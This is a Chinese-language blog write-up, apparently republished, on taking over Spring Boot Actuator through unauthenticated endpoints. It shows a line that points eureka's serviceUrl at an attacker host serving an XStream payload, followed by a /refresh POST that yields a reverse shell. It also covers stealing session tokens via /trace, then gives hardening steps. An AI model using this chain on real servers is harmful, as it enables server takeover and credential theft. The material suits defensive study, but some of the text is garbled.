部門大佬在某src上挖到了這個漏洞,是一個比較老的洞了,我覺得有點意思,就動手在本地搭了個環境測試一下。
Actuator 是 springboot 提供的用來對應用系統進行自省和監控的功能模組,借助於 Actuator 開發者可以很方便地對應用系統某些監控指標進行查看、統計等。在 Actuator 啟用的情況下,如果沒有做好相關權限控制,非法使用者可透過存取預設的執行器端點(endpoints)來獲取應用系統中的監控信息,從而導致資訊外洩甚至伺服器被接管的事件發生。
Actuator是Spring Boot提供的功能模組,它可以用於自省和監控應用程式系統。 The provided executor endpoints are divided into two categories: native endpoints and user-defined extension endpoints. The native endpoints mainly include:
'
#利用env加refresh進行getshell
#利用mappings,尋找未授權介面
利用trace,取得認證資訊(Cookie、tooken、Session),利用認證資訊存取介面。eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
然後再造訪/refresh,抓包將get請求更改為post請求,post資料隨意,
然後在我們nc的視窗可以看到成功反彈了一個shell回來。
身為安全dog,不能只挖不修,在專案的pom.xml檔案下引入spring-boot -starter-security依賴
<dependency> <groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId> </dependency><p><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168480339634948.jpg" class="lazy" alt="Spring Boot Actuator从未授权访问到getshell的示例分析"></p> <p>然後在application.properties中開啟security功能,設定存取帳號密碼,重新啟動應用程式即可彈出。 </p> <pre class="brush:php;toolbar:false">management.security.enabled=true security.user.name=admin security.user.password=admin
停用接口,則可設定如下(如停用env介面):
endpoints.env.enabled = false
老外說可以執行sql語句發現執行不了,可能方法沒用對,截了個他的圖,希望有執行成功的大佬分享下。
在實際環境中,發現很多無refresh ,導致無法執行指令目前還沒突破
以上是Spring Boot Actuator從未授權存取getshell的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!